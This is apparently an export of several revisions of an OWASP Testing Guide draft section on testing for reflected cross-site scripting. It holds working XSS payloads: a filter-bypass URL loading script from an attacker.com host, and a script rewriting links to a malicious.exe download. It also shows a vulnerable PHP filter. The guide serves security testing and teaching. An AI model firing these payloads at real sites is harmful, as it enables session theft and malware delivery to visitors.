<pre>
<?
$re = "/<script[^>]+src/i";

if (preg_match($re, $_GET['var'])) {
echo "Filtered";
return; }
echo "Welcome ".$_GET['var']." !";
?>
</pre>
In this scenario there is a regular expression checking if <script
[anything but the character: '>' ] src is inserted. This is useful for
filtering expressions like <script
src="http://attacker.com/xss.js"></script>, which is a common attack. But,
in this case it is possible to bypass the sanitization using the ">"
character in a varible between script and src, like this:

http://www.example.com/?var=<SCRIPT%20a=">"%20SRC="http://www.attacker.com/xss.js"></SCRIPT>

This will exploit a reflected corss-site scripting vulnerability
executing the javascript code in the attacker's web server but using the
credentials of the original site ww.example.com.

A complete test will include instantiating a variable with several
attack vectors (Check [https://www.owasp.org/index.php/OWASP_Testing_Guide_Appendix_C:_Fuzz_Vectors Fuzz vectors appendix] and [https://www.owasp.org/index.php/OWASP_Testing_Guide_Appendix_D:_Encoded_Injection Encoded injection appendix]).

Finally, analyzing answers can get complex. A simple way to do this is
using the Hello world popup of our example. This indicates that an
attacker could execute arbitrary javascript of his choice in the
visitors' browsers.

Bibliography

1. S. Frei, T. Dübendorfer, G. Ollmann, M. May, "Understanding the Web
browser threat," 2008

<br>
== References ==
'''Books'''<br>
* Joel Scambray, Mike Shema, Caleb Sima - "Hacking Exposed Web Applicatons", Second Edition, McGraw-Hill, 2006 - ISBN 0-07-226229-0
* Dafydd Stuttard, Marcus Pinto - "The Web Application's Handbook - Discovering and Exploiting Security Flaws", 2008, Wiley, ISBN 978-0-470-17077-9
* Jeremiah Grossman, Robert "RSnake" Hansen, Petko "pdp" D. Petkov, Anton Rager, Seth Fogie - "Cross Site Scripting Attacks: XSS Exploits and Defense", 2007, Syngress, ISBN-10: 1-59749-154-3
'''Whitepapers'''<br>
* '''CERT''' - Malicious HTML Tags Embedded in Client Web Requests: [http://www.cert.org/advisories/CA-2000-02.html Read]
* '''Rsnake''' - XSS Cheat Sheet: [http://ha.ckers.org/xss.html Read]
* '''cgisecurity.com''' - The Cross Site Scripting FAQ: [http://www.cgisecurity.com/articles/xss-faq.shtml Read]
* '''G.Ollmann''' - HTML Code Injection and Cross-site scripting: [http://www.technicalinfo.net/papers/CSS.html Read]
* '''A. Calvo, D.Tiscornia''' - alert('A javascritp agent'): [http://corelabs.coresecurity.com/index.php?module=FrontEndMod&action=view&type=publication&name=alert%28A_javascritp_agent%29 Read] ( To be published )
'''Tools'''<br>
* '''OWASP CAL9000''' - http://www.owasp.org/index.php/Category:OWASP_CAL9000_Project
CAL9000 is a collection of web application security testing tools that complement the feature set of current web proxies and automated scanners.
* '''PHP Charset Encoder(PCE)''' - http://h4k.in/encoding
This tool helps you encoding arbitrary texts to and from 65 kinds of charsets. Also some encoding functions featured by JavaScript are provided.
* '''WebScarab''' - http://www.owasp.org/index.php/Category:OWASP_WebScarab_Project
WebScarab is a framework for analysing applications that communicate using the HTTP and HTTPS protocols.
* '''XSS-Proxy''' - http://xss-proxy.sourceforge.net/
XSS-Proxy is an advanced Cross-Site-Scripting (XSS) attack tool.
* '''ratproxy''' - http://code.google.com/p/ratproxy/
A semi-automated, largely passive web application security audit tool, optimized for an accurate and sensitive detection, and automatic annotation, of potential problems and security-relevant design patterns based on the observation of existing, user-initiated traffic in complex web 2.0 environments.
* '''Burp Proxy''' - http://portswigger.net/proxy/
Burp Proxy is an interactive HTTP/S proxy server for attacking and testing web applications.
<br>

File:XSS Example2.png

2008-08-14T18:56:43Z

Sick: uploaded a new version of "Image:XSS Example2.png"

https://www.owasp.org/index.php/Testing_for_Reflected_Cross_site_scripting

File:Alert.png

2008-08-14T18:56:16Z

Sick: uploaded a new version of "Image:Alert.png"

https://www.owasp.org/index.php/Testing_for_Reflected_Cross_site_scripting

File:XSS Example1.png

2008-08-14T18:55:25Z

Sick: uploaded a new version of "Image:XSS Example1.png"

https://www.owasp.org/index.php/Testing_for_Reflected_Cross_site_scripting

Testing for Reflected Cross site scripting (OTG-INPVAL-001)

2008-08-14T16:05:53Z

Sick: blackbox testing changes

{{Template:OWASP Testing Guide v3}}

'''This is a draft of a section of the new Testing Guide v3'''

== Brief Summary ==

Reflected [http://www.owasp.org/index.php/Cross_Site_Scripting cross-site scripting] (XSS) is another name for non-persistent
XSS, where the attack doesn't load with the vulnerable web application
but is originated by the victim loading the offending URI. In this
article we will see some ways to test a web application for this kind of
vulnerability.

<br>
== Description of the Issue ==

Reflected XSS attacks are also known as type 1 or non-persistent XSS attacks, and
are the most frequent type of XSS attacks found nowadays.

When a web application is vulnerable to this type of attack, it will
pass unvalidated input sent through requests to the client. The common modus
operandi of the attack includes a design step, in which the attacker
creates and tests an offending URI, a social engineering step, in which
he convinces her victims to load this URI on their browsers, and the eventual
execution of the offending code -using the victim's credentials-.

Commonly the attacker's code is in the Javascript language, but also
other scripting languajes like ActionScript, and VBScript.

Attackers typically profit from these vulnerabilities in order to
install key loggers, steal victim cookies, clipboard theft, and
change the content of the page (e.g., download links).

One of the important matters about exploiting XSS vulnerabilities is character encoding.
In some cases, the web server or the web application could not be filtering some
encodings of characters, so for example the web application might filter out "<script>",
but might not filter %3cscript%3e which simply includes another encoding of tags.
A nice tool for testing character encodings is OWASP's CAL9000.
<br>
== Black Box testing and example ==
A black-box test will include at least three phases:

1. Detect input vectors. The tester must determine the web application's
variables and how to input them in the web application. See the above
example.

2. Analyze each input vector to detect potential vulnerabilities. The
tester will typically use a web application fuzzer or manually attempt
detecting a xss vulnerability by entering offending data. This tests are
typically harmless, but triggers responses from the web browser that
allow the tester to detect a vulnerability.

3. For each vulnerability reported in the previous phase, the tester
will analyze the report and attempt to exploit it with an attack that
has a realistic impact on the web application's security.

For example, consider a site that has a welcome notice " Welcome %username% " and a download link.
<br><br>
[[Image:XSS Example1.png]]
<br><br>
The tester must suspect that every data entry point can result in a XSS attack. To analyze it, the tester will play with the user variable and try to trigger the vulnerability.
Let's try to click on the following link and see what happens:
<pre>http://localhost/tag/xss-s-tag-1.php?user=<script>alert(123)</script></pre>

If no sanitization is applied this will result in the following popup:
<br><br>
[[Image:alert.png]]
<br><br>
This indicates that there is a XSS vulnerability and it appears that the tester can execute code of his choice in anybody's browser if he clicks on the tester's link. Let's try other piece of code (link):
<pre>http://localhost/tag/xss-s-tag-1.php?user=<script>window.onload = function() {var AllLinks=document.getElementsByTagName("a");
AllLinks[0].href = "http://badexample.com/malicious.exe"; }</script> </pre>

This produces the following behavior:
<br><br>
[[Image:XSS Example2.png]]
<br><br>
This will cause the user, clicking on the link supplied by the tester, to download the file malicious.exe from a site he controls.
<br><br>
However, most web applications today use some sort of sanitization. Yet,
some remain vulnerable. Reflected cross-site scripting attacks are
prevented either at the side of the server, by sanitization or a web
application firewall, or at the side of the client by prevention
mechanisms that are embedded in modern web browsers.

Since most of the clients do not update their browsers1, the tester
cannot count on this and must test for vulnerabilities assuming that web
browsers will not prevent the attack.

A web application or the web server (e.g., Apache's mod_rewrite module)
can parse the URL matching a regular expression as a sanitization
prcedure. For example the following regular expression can be used to
detect (and block) alphanumeric characters between tags or slashes.

/((\%3C)|<)((\%2F)|\/)*[a-z0-9\%]+((\%3E)|>)/i

Hence, the above attack will not work. However, this regular expression
does not completely fix the vulnerability. In a grey-box test, the
tester might access the source code and analyze the sanitization
procedure to decide if he can circumvent it.

To black-box test whether there is a vulnerability or not, the tester
will use many test vectors, each circumventing one different
sanitization procedure hoping that one will work. For example, let's say
that the following code is executed:

<pre>
<?
$re = "/<script[^>]+src/i";

if (preg_match($re, $_GET['var'])) {
echo "Filtered";
return; }
echo "Welcome ".$_GET['var']." !";
?>
</pre>
In this scenario there is a regular expression checking if <script
[anything but the character: '>' ] src is inserted. This is useful for
filtering expressions like <script
src="http://localhost/xss.js"></script>, which is a common attack. But,
in this case it is possible to bypass the sanitization using the ">"
character in a varible between script and src, like this:

http://www.example.com/?var=<SCRIPT%20a=">"%20SRC="http://www.attacker.com/xss.js"></SCRIPT>

This will exploit a reflected corss-site scripting vulnerability
executing the javascript code in the attacker's web server but using the
credentials of the original site ww.example.com.

A complete test will include instantiating a variable with several
attack vectors (Check [https://www.owasp.org/index.php/OWASP_Testing_Guide_Appendix_C:_Fuzz_Vectors Fuzz vectors appendix] and [https://www.owasp.org/index.php/OWASP_Testing_Guide_Appendix_D:_Encoded_Injection Encoded injection appendix]).

Finally, analyzing answers can get complex. A simple way to do this is
using the Hello world popup of our example. This indicates that an
attacker could execute arbitrary javascript of his choice in the
visitors' browsers.

Bibliography

1. S. Frei, T. Dübendorfer, G. Ollmann, M. May, "Understanding the Web
browser threat," 2008

<br>
== References ==
'''Books'''<br>
* Joel Scambray, Mike Shema, Caleb Sima - "Hacking Exposed Web Applicatons", Second Edition, McGraw-Hill, 2006 - ISBN 0-07-226229-0
* Dafydd Stuttard, Marcus Pinto - "The Web Application's Handbook - Discovering and Exploiting Security Flaws", 2008, Wiley, ISBN 978-0-470-17077-9
* Jeremiah Grossman, Robert "RSnake" Hansen, Petko "pdp" D. Petkov, Anton Rager, Seth Fogie - "Cross Site Scripting Attacks: XSS Exploits and Defense", 2007, Syngress, ISBN-10: 1-59749-154-3
'''Whitepapers'''<br>
* '''CERT''' - Malicious HTML Tags Embedded in Client Web Requests: [http://www.cert.org/advisories/CA-2000-02.html Read]
* '''Rsnake''' - XSS Cheat Sheet: [http://ha.ckers.org/xss.html Read]
* '''cgisecurity.com''' - The Cross Site Scripting FAQ: [http://www.cgisecurity.com/articles/xss-faq.shtml Read]
* '''G.Ollmann''' - HTML Code Injection and Cross-site scripting: [http://www.technicalinfo.net/papers/CSS.html Read]
* '''A. Calvo, D.Tiscornia''' - alert('A javascritp agent'): [http://corelabs.coresecurity.com/index.php?module=FrontEndMod&action=view&type=publication&name=alert%28A_javascritp_agent%29 Read] ( To be published )
'''Tools'''<br>
* '''OWASP CAL9000''' - http://www.owasp.org/index.php/Category:OWASP_CAL9000_Project
CAL9000 is a collection of web application security testing tools that complement the feature set of current web proxies and automated scanners.
* '''PHP Charset Encoder(PCE)''' - http://h4k.in/encoding
This tool helps you encoding arbitrary texts to and from 65 kinds of charsets. Also some encoding functions featured by JavaScript are provided.
* '''WebScarab''' - http://www.owasp.org/index.php/Category:OWASP_WebScarab_Project
WebScarab is a framework for analysing applications that communicate using the HTTP and HTTPS protocols.
* '''XSS-Proxy''' - http://xss-proxy.sourceforge.net/
XSS-Proxy is an advanced Cross-Site-Scripting (XSS) attack tool.
* '''ratproxy''' - http://code.google.com/p/ratproxy/
A semi-automated, largely passive web application security audit tool, optimized for an accurate and sensitive detection, and automatic annotation, of potential problems and security-relevant design patterns based on the observation of existing, user-initiated traffic in complex web 2.0 environments.
* '''Burp Proxy''' - http://portswigger.net/proxy/
Burp Proxy is an interactive HTTP/S proxy server for attacking and testing web applications.
<br>

Testing for Reflected Cross site scripting (OTG-INPVAL-001)

2008-08-11T21:15:59Z

Sick:

{{Template:OWASP Testing Guide v3}}

'''This is a draft of a section of the new Testing Guide v3'''

== Brief Summary ==

Reflected [http://www.owasp.org/index.php/Cross_Site_Scripting cross-site scripting] (XSS) is another name for non-persistent
XSS, where the attack doesn't load with the vulnerable web application
but is originated by the victim loading the offending URI. In this
article we will see some ways to test a web application for this kind of
vulnerability.

<br>
== Description of the Issue ==

Reflected XSS attacks are also known as type 1 or non-persistent XSS attacks, and
are the most frequent type of XSS attacks found nowadays.

When a web application is vulnerable to this type of attack, it will
pass unvalidated input sent through requests to the client. The common modus
operandi of the attack includes a design step, in which the attacker
creates and tests an offending URI, a social engineering step, in which
he convinces her victims to load this URI on their browsers, and the eventual
execution of the offending code -using the victim's credentials-.

Commonly the attacker's code is in the Javascript language, but also
other scripting languajes like ActionScript, and VBScript.

Attackers typically profit from these vulnerabilities in order to
install key loggers, steal victim cookies, clipboard theft, and
change the content of the page (e.g., download links).

One of the important matters about exploiting XSS vulnerabilities is character encoding.
In some cases, the web server or the web application could not be filtering some
encodings of characters, so for example the web application might filter out "<script>",
but might not filter %3cscript%3e which simply includes another encoding of tags.
A nice tool for testing character encodings is OWASP's CAL9000.
<br>
== Black Box testing and example ==
The aim of black-box testing for reflected XSS vulnerabilities is to tamper with the HTML output generated through links and other forms of requests and understanding how to do it.

For example, consider a site that has a welcome notice " Welcome %username% " and a download link.
<br><br>
[[Image:XSS Example1.png]]
<br><br>
The tester must suspect that every data entry point can result in a XSS attack. To analyze it, the tester will play with the user variable and try to trigger the vulnerability.
Let's try to click on the following link and see what happens:
<pre>http://localhost/tag/xss-s-tag-1.php?user=<script>alert(123)</script></pre>

If no sanitization is applied this will result in the following popup:
<br><br>
[[Image:alert.png]]
<br><br>
This indicates that there is a XSS vulnerability and it appears that the tester can execute code of his choice in anybody's browser if he clicks on the tester's link. Let's try other piece of code (link):
<pre>http://localhost/tag/xss-s-tag-1.php?user=<script>window.onload = function() {var AllLinks=document.getElementsByTagName("a");
AllLinks[0].href = "http://badexample.com/malicious.exe"; }</script> </pre>

This produces the following behavior:
<br><br>
[[Image:XSS Example2.png]]
<br><br>
This will cause the user, clicking on the link supplied by the tester, to download the file malicious.exe from a site he controls.
<br><br>
An important set of tips that testers must have in mind when working with cross-site scripting vulnerabilities:

'''Filtering''': ex. a web application or a web server ( like apache mod_rewrite ) can parse the URL matching a regular expression like this: /((\%3C)|<)((\%2F)|\/)*[a-z0-9\%]+((\%3E)|>)/i.
This regular expression prevents the use of alphanumeric characters inside brackets and slashes. One way to execute in this regular expression could be using "javascript:", if we dont need to close any other kind of tag.
<br>

<pre>
<?
$re = "/<script[^>]+src/i";

if (preg_match($re, $_GET['var'])) {
echo "Filtered";
return; }
echo "Welcome ".$_GET['var']." !";
?>
</pre>
In this scenario there is a regular expression checking if ''<script [anything but the character: '>' ] src'' is inserted.
This is useful for filtering expressions like <script src="http://localhost/xss.js"></script>, but in this case its possible to bypass this using the ">" character in a varible betwen script and src, like this:

<pre>http://localhost?var=<SCRIPT%20a=">"%20SRC="http://localhost/xss.js"></SCRIPT></pre>

[about new technologies]

A recent study made by S. Frei [ETH], T. Dübendorfer [Google], G. Ollmann [IBM ISS], M. May [ETH] called [http://www.techzoom.net/publications/insecurity-iceberg/index.en Understanding the Web browser threat, 2008] demostrate that more than 600 million Internet users don't use the latest version of their browser.

<br>
== References ==
'''Books'''<br>
* Joel Scambray, Mike Shema, Caleb Sima - "Hacking Exposed Web Applicatons", Second Edition, McGraw-Hill, 2006 - ISBN 0-07-226229-0
* Dafydd Stuttard, Marcus Pinto - "The Web Application's Handbook - Discovering and Exploiting Security Flaws", 2008, Wiley, ISBN 978-0-470-17077-9
* Jeremiah Grossman, Robert "RSnake" Hansen, Petko "pdp" D. Petkov, Anton Rager, Seth Fogie - "Cross Site Scripting Attacks: XSS Exploits and Defense", 2007, Syngress, ISBN-10: 1-59749-154-3
'''Whitepapers'''<br>
* '''CERT''' - Malicious HTML Tags Embedded in Client Web Requests: [http://www.cert.org/advisories/CA-2000-02.html Read]
* '''Rsnake''' - XSS Cheat Sheet: [http://ha.ckers.org/xss.html Read]
* '''cgisecurity.com''' - The Cross Site Scripting FAQ: [http://www.cgisecurity.com/articles/xss-faq.shtml Read]
* '''G.Ollmann''' - HTML Code Injection and Cross-site scripting: [http://www.technicalinfo.net/papers/CSS.html Read]
* '''A. Calvo, D.Tiscornia''' - alert('A javascritp agent'): [http://corelabs.coresecurity.com/index.php?module=FrontEndMod&action=view&type=publication&name=alert%28A_javascritp_agent%29 Read] ( To be published )
'''Tools'''<br>
* '''OWASP CAL9000''' - http://www.owasp.org/index.php/Category:OWASP_CAL9000_Project
CAL9000 is a collection of web application security testing tools that complement the feature set of current web proxies and automated scanners.
* '''PHP Charset Encoder(PCE)''' - http://h4k.in/encoding
This tool helps you encoding arbitrary texts to and from 65 kinds of charsets. Also some encoding functions featured by JavaScript are provided.
* '''WebScarab''' - http://www.owasp.org/index.php/Category:OWASP_WebScarab_Project
WebScarab is a framework for analysing applications that communicate using the HTTP and HTTPS protocols.
* '''XSS-Proxy''' - http://xss-proxy.sourceforge.net/
XSS-Proxy is an advanced Cross-Site-Scripting (XSS) attack tool.
* '''ratproxy''' - http://code.google.com/p/ratproxy/
A semi-automated, largely passive web application security audit tool, optimized for an accurate and sensitive detection, and automatic annotation, of potential problems and security-relevant design patterns based on the observation of existing, user-initiated traffic in complex web 2.0 environments.
* '''Burp Proxy''' - http://portswigger.net/proxy/
Burp Proxy is an interactive HTTP/S proxy server for attacking and testing web applications.
<br>

Testing for Reflected Cross site scripting (OTG-INPVAL-001)

2008-08-11T17:22:13Z

Sick: /* Black and Grey Box testing and example */

Testing for Reflected Cross site scripting (OTG-INPVAL-001)

2008-08-11T17:21:33Z

Sick: /* References */

Testing for Reflected Cross site scripting (OTG-INPVAL-001)

2008-08-11T14:59:00Z

Sick:

Testing for Reflected Cross site scripting (OTG-INPVAL-001)

2008-08-07T21:27:43Z

Sick:

{{Template:OWASP Testing Guide v3}}

'''This is a draft of a section of the new Testing Guide v3'''

== Brief Summary ==

Reflected cross-site scripting (XSS) is another name for non-persistent
XSS, where the attack doesn't load with the vulnerable web application
but is originated by the victim loading the offending URI. In this
article we will see some ways to test a web application for this kind of
vulnerability.

<br>
== Description of the Issue ==

Reflected XSS attacks are also known as type 1 or non-persistent XSS attacks, and
are the most frequent type of XSS attacks found nowadays.

When a web application is vulnerable to this type of attack, it will
pass unvalidated input sent through requests to the client. The common modus
operandi of the attack includes a design step, in which the attacker
creates and tests an offending URI, a social engineering step, in which
he convinces her victims to load this URI on their browsers, and the eventual
execution of the offending code -using the victim's credentials-.

Commonly the attacker's code is in the Javascript language, but also
other scripting languajes like ActionScript, and VBScript.

Attackers typically profit from these vulnerabilities in order to
install key loggers, steal victim cookies, clipboard theft, and
change the content of the page (e.g., download links).

One of the important matters about exploiting XSS vulnerabilities is character encoding.
In some cases, the web server or the web application could not be filtering some
encodings of characters, so for example the web application might filter out "<script>",
but might not filter %3cscript%3e which simply includes another encoding of tags.
A nice tool for testing character encodings is OWASP's CAL9000.
<br>
== Black and Grey Box testing and example ==
The aim of black-box testing for reflected XSS vulnerabilities is to tamper with the HTML output generated through links and other forms of requests and understanding how to do it.

For example, consider a site that has a welcome notice " Welcome %username% " and a download link.
<br><br>
[[Image:XSS Example1.png]]
<br><br>
The tester must suspect that every data entry point can result in a XSS attack. To analyze it, the tester will play with the user variable and try to trigger the vulnerability.
Let's try to click on the following link and see what happens:
<pre>http://localhost/tag/xss-s-tag-1.php?user=<script>alert(123)</script></pre>

If no sanitization is applied this will result in the following popup:
<br><br>
[[Image:alert.png]]
<br><br>
This indicates that there is a XSS vulnerability and it appears that the tester can execute code of his choice in anybody's browser if he clicks on the tester's link. Let's try other piece of code (link):
<pre>http://localhost/tag/xss-s-tag-1.php?user=<script>window.onload = function() {var AllLinks=document.getElementsByTagName("a");
AllLinks[0].href = "http://badexample.com/malicious.exe"; }</script> </pre>

This produces the following behavior:
<br><br>
[[Image:XSS Example2.png]]
<br><br>
This will cause the user, clicking on the link supplied by the tester, to download the file malicious.exe from a site he controls.
<br><br>
An important set of tips that testers must have in mind when working with cross-site scripting vulnerabilities:

'''Filtering''': ex. a web application or a web server ( like apache mod_rewrite ) can parse the URL matching a regular expression like this: /((\%3C)|<)((\%2F)|\/)*[a-z0-9\%]+((\%3E)|>)/i.
This regular expression prevents the use of alphanumeric characters inside brackets and slashes. One way to execute in this regular expression could be using "javascript:", if we dont need to close any other kind of tag.
...<br><br>
== References ==
'''Books'''<br>
* Joel Scambray, Mike Shema, Caleb Sima - "Hacking Exposed Web Applicatons", Second Edition, McGraw-Hill, 2006 - ISBN 0-07-226229-0
* Dafydd Stuttard, Marcus Pinto - "The Web Application's Handbook - Discovering and Exploiting Security Flaws", 2008, Wiley, ISBN 978-0-470-17077-9
* Jeremiah Grossman, Robert "RSnake" Hansen, Petko "pdp" D. Petkov, Anton Rager, Seth Fogie - "Cross Site Scripting Attacks: XSS Exploits and Defense", 2007, Syngress, ISBN-10: 1-59749-154-3
'''Whitepapers'''<br>
* XSS Cheat Sheet: [http://ha.ckers.org/xss.html Read]
* The Cross Site Scripting FAQ: [http://www.cgisecurity.com/articles/xss-faq.shtml Read]
* HTML Code Injection and Cross-site scripting: [http://www.technicalinfo.net/papers/CSS.html Read]
* alert('A javascritp agent'): [http://corelabs.coresecurity.com/index.php?module=FrontEndMod&action=view&type=publication&name=alert%28A_javascritp_agent%29 Read] ( To be published )
'''Tools'''<br>
* OWASP CAL9000 - http://www.owasp.org/index.php/Category:OWASP_CAL9000_Project
* PHP Charset Encoder(PCE) - http://h4k.in/encoding
<br>

Testing for Reflected Cross site scripting (OTG-INPVAL-001)

2008-08-07T20:14:14Z

Sick: /* Black Box and Grey Box testing and example */

{{Template:OWASP Testing Guide v3}}

'''This is a draft of a section of the new Testing Guide v3'''

== Brief Summary ==

Reflected cross-site scripting (XSS) is another name for non-persistent
XSS, where the attack doesn't load with the vulnerable web application
but is originated by the victim loading the offending URI. In this
article we will see some ways to test a web application for this kind of
vulnerability.

<br>
== Description of the Issue ==

Reflected XSS attacks are also known as type 1 or non-persistent XSS attacks, and
are the most frequent type of XSS attacks found nowadays.

When a web application is vulnerable to this type of attack, it will
pass unvalidated input sent through requests to the client. The common modus
operandi of the attack includes a design step, in which the attacker
creates and tests an offending URI, a social engineering step, in which
he convinces her victims to load this URI on their browsers, and the eventual
execution of the offending code -using the victim's credentials-.

Commonly the attacker's code is in the Javascript language, but also
other scripting languajes like ActionScript, and VBScript.

Attackers typically profit from these vulnerabilities in order to
install key loggers, steal victim cookies, clipboard theft, and
change the content of the page (e.g., download links).

One of the important matters about exploiting XSS vulnerabilities is character encoding.
In some cases, the web server or the web application could not be filtering some
encodings of characters, so for example the web application might filter out "<script>",
but might not filter %3cscript%3e which simply includes another encoding of tags.
A nice tool for testing character encodings is OWASP's CAL9000.
<br>
== Black and Grey Box testing and example ==
The aim of black-box testing for reflected XSS vulnerabilities is to tamper with the HTML output generated through links and other forms of requests and understanding how to do it.

For example, consider a site that has a welcome notice " Welcome %username% " and a download link.
<br><br>
[[Image:XSS Example1.png]]
<br><br>
The tester must suspect that every data entry point can result in a XSS attack. To analyze it, the tester will play with the user variable and try to trigger the vulnerability.
Let's try to click on the following link and see what happens:
<pre>http://localhost/tag/xss-s-tag-1.php?user=<script>alert(123)</script></pre>

If no sanitization is applied this will result in the following popup:
<br><br>
[[Image:alert.png]]
<br><br>
This indicates that there is a XSS vulnerability and it appears that the tester can execute code of his choice in anybody's browser if he clicks on the tester's link. Let's try other piece of code (link):
<pre>http://localhost/tag/xss-s-tag-1.php?user=<script>window.onload = function() {var AllLinks=document.getElementsByTagName("a");
AllLinks[0].href = "http://badexample.com/malicious.exe"; }</script> </pre>

This produces the following behavior:
<br><br>
[[Image:XSS Example2.png]]
<br><br>
This will cause the user, clicking on the link supplied by the tester, to download the file malicious.exe from a site he controls.
<br><br>
An important set of tips that testers must have in mind when working with cross-site scripting vulnerabilities:

'''Filtering''': ex. a web application or a web server ( like apache mod_rewrite ) can parse the URL matching a regular expression like this: /((\%3C)|<)((\%2F)|\/)*[a-z0-9\%]+((\%3E)|>)/i.
This regular expression prevents the use of alphanumeric characters inside brackets and slashes. One way to execute in this regular expression could be using "javascript:", if we dont need to close any other kind of tag.
...<br><br>

== References ==
'''Books'''<br>
* Joel Scambray, Mike Shema, Caleb Sima - "Hacking Exposed Web Applicatons", Second Edition, McGraw-Hill, 2006 - ISBN 0-07-226229-0
* Dafydd Stuttard, Marcus Pinto - "The Web Application's Handbook - Discovering and Exploiting Security Flaws", 2008, Wiley, ISBN 978-0-470-17077-9
* Jeremiah Grossman, Robert "RSnake" Hansen, Petko "pdp" D. Petkov, Anton Rager, Seth Fogie - "Cross Site Scripting Attacks: XSS Exploits and Defense", 2007, Syngress, ISBN-10: 1-59749-154-3
'''Whitepapers'''<br>
* XSS Cheat Sheet: http://ha.ckers.org/xss.html
* The Cross Site Scripting FAQ: http://www.cgisecurity.com/articles/xss-faq.shtml
* HTML Code Injection and Cross-site scripting: http://www.technicalinfo.net/papers/CSS.html
'''Tools'''<br>
* OWASP CAL9000 - http://www.owasp.org/index.php/Category:OWASP_CAL9000_Project
* PHP Charset Encoder(PCE) - http://h4k.in/encoding
<br>

Testing for Reflected Cross site scripting (OTG-INPVAL-001)

2008-08-07T19:06:24Z

Sick:

{{Template:OWASP Testing Guide v3}}

'''This is a draft of a section of the new Testing Guide v3'''

== Brief Summary ==

Reflected cross-site scripting (XSS) is another name for non-persistent
XSS, where the attack doesn't load with the vulnerable web application
but is originated by the victim loading the offending URI. In this
article we will see some ways to test a web application for this kind of
vulnerability.

<br>
== Description of the Issue ==

Reflected XSS attacks are also known as type 1 or non-persistent XSS attacks, and
are the most frequent type of XSS attacks found nowadays.

When a web application is vulnerable to this type of attack, it will
pass unvalidated input sent through requests to the client. The common modus
operandi of the attack includes a design step, in which the attacker
creates and tests an offending URI, a social engineering step, in which
he convinces her victims to load this URI on their browsers, and the eventual
execution of the offending code -using the victim's credentials-.

Commonly the attacker's code is in the Javascript language, but also
other scripting languajes like ActionScript, and VBScript.

Attackers typically profit from these vulnerabilities in order to
install key loggers, steal victim cookies, clipboard theft, and
change the content of the page (e.g., download links).

One of the important matters about exploiting XSS vulnerabilities is character encoding.
In some cases, the web server or the web application could not be filtering some
encodings of characters, so for example the web application might filter out "<script>",
but might not filter %3cscript%3e which simply includes another encoding of tags.
A nice tool for testing character encodings is OWASP's CAL9000.
<br>
== Black Box and Grey Box testing and example ==
The aim of black-box testing for reflected XSS vulnerabilities is to tamper with the HTML output generated through links and other forms of requests and understanding how to do it.

For example, consider a site that has a welcome notice " Welcome %username% " and a download link.
<br><br>
[[Image:XSS Example1.png]]
<br><br>
The tester must suspect that every data entry point can result in a XSS attack. To analyze it, the tester will play with the user variable and try to trigger the vulnerability.
Let's try to click on the following link and see what happens:
<pre>http://localhost/tag/xss-s-tag-1.php?user=<script>alert(123)</script></pre>

If no sanitization is applied this will result in the following popup:
<br><br>
[[Image:alert.png]]
<br><br>
This indicates that there is a XSS vulnerability and it appears that the tester can execute code of his choice in anybody's browser if he clicks on the tester's link. Let's try other piece of code (link):
<pre>http://localhost/tag/xss-s-tag-1.php?user=<script>window.onload = function() {var AllLinks=document.getElementsByTagName("a");
AllLinks[0].href = "http://badexample.com/malicious.exe"; }</script> </pre>

This produces the following behavior:
<br><br>
[[Image:XSS Example2.png]]
<br><br>
This will cause the user, clicking on the link supplied by the tester, to download the file malicious.exe from a site he controls.
<br><br>
An important set of tips that testers must have in mind when working with cross-site scripting vulnerabilities:

'''Filtering''': ex. a web application or a web server ( like apache mod_rewrite ) can parse the URL matching a regular expression like this: /((\%3C)|<)((\%2F)|\/)*[a-z0-9\%]+((\%3E)|>)/i.
This regular expression prevents the use of alphanumeric characters inside brackets and slashes. One way to execute in this regular expression could be using "javascript:", if we dont need to close any other kind of tag.
...<br><br>
== References ==
'''Books'''<br>
* Joel Scambray, Mike Shema, Caleb Sima - "Hacking Exposed Web Applicatons", Second Edition, McGraw-Hill, 2006 - ISBN 0-07-226229-0
* Dafydd Stuttard, Marcus Pinto - "The Web Application's Handbook - Discovering and Exploiting Security Flaws", 2008, Wiley, ISBN 978-0-470-17077-9
* Jeremiah Grossman, Robert "RSnake" Hansen, Petko "pdp" D. Petkov, Anton Rager, Seth Fogie - "Cross Site Scripting Attacks: XSS Exploits and Defense", 2007, Syngress, ISBN-10: 1-59749-154-3
'''Whitepapers'''<br>
* XSS Cheat Sheet: http://ha.ckers.org/xss.html
* The Cross Site Scripting FAQ: http://www.cgisecurity.com/articles/xss-faq.shtml
* HTML Code Injection and Cross-site scripting: http://www.technicalinfo.net/papers/CSS.html
'''Tools'''<br>
* OWASP CAL9000 - http://www.owasp.org/index.php/Category:OWASP_CAL9000_Project
* PHP Charset Encoder(PCE) - http://h4k.in/encoding
<br>

Testing for Reflected Cross site scripting (OTG-INPVAL-001)

2008-08-07T17:00:26Z

Sick:

{{Template:OWASP Testing Guide v3}}

'''This is a draft of a section of the new Testing Guide v3'''

== Brief Summary ==

Reflected cross-site scripting (XSS) is another name for non-persistent
XSS, where the attack doesn't load with the vulnerable web application
but is originated by the victim loading the offending URI. In this
article we will see some ways to test a web application for this kind of
vulnerability.

<br>
== Description of the Issue ==

Reflected XSS attacks are also known as type 1 or non-persistent XSS attacks, and
are the most frequent type of XSS attacks found nowadays.

When a web application is vulnerable to this type of attack, it will
pass unvalidated input sent through requests to the client. The common modus
operandi of the attack includes a design step, in which the attacker
creates and tests an offending URI, a social engineering step, in which
he convinces her victims to load this URI on their browsers, and the eventual
execution of the offending code -using the victim's credentials-.

Commonly the attacker's code is in the Javascript language, but also
other scripting languajes like ActionScript, and VBScript.

Attackers typically profit from these vulnerabilities in order to
install key loggers, steal victim cookies, clipboard theft, and
change the content of the page (e.g., download links).

One of the important matters about exploiting XSS vulnerabilities is character encoding.
In some cases, the web server or the web application could not be filtering some
encodings of characters, so for example the web application might filter out "<script>",
but might not filter %3cscript%3e which simply includes another encoding of tags.
A nice tool for testing character encodings is OWASP's CAL9000.
<br>
== Black Box and Grey Box testing and example ==
The aim of black-box testing for reflected XSS vulnerabilities is to tamper with the HTML output generated through links and other forms of requests and understanding how to do it.

For example, consider a site that has a welcome notice " Welcome %username% " and a download link.
<br><br>
[[Image:XSS Example1.png]]
<br><br>
The tester must suspect that every data entry point can result in a XSS attack. To analyze it, the tester will play with the user variable and try to trigger the vulnerability.
Let's try to click on the following link and see what happens:
<pre>http://localhost/tag/xss-s-tag-1.php?user=<script>alert(123)</script></pre>

If no sanitization is applied this will result in the following popup:
<br><br>
[[Image:alert.png]]
<br><br>
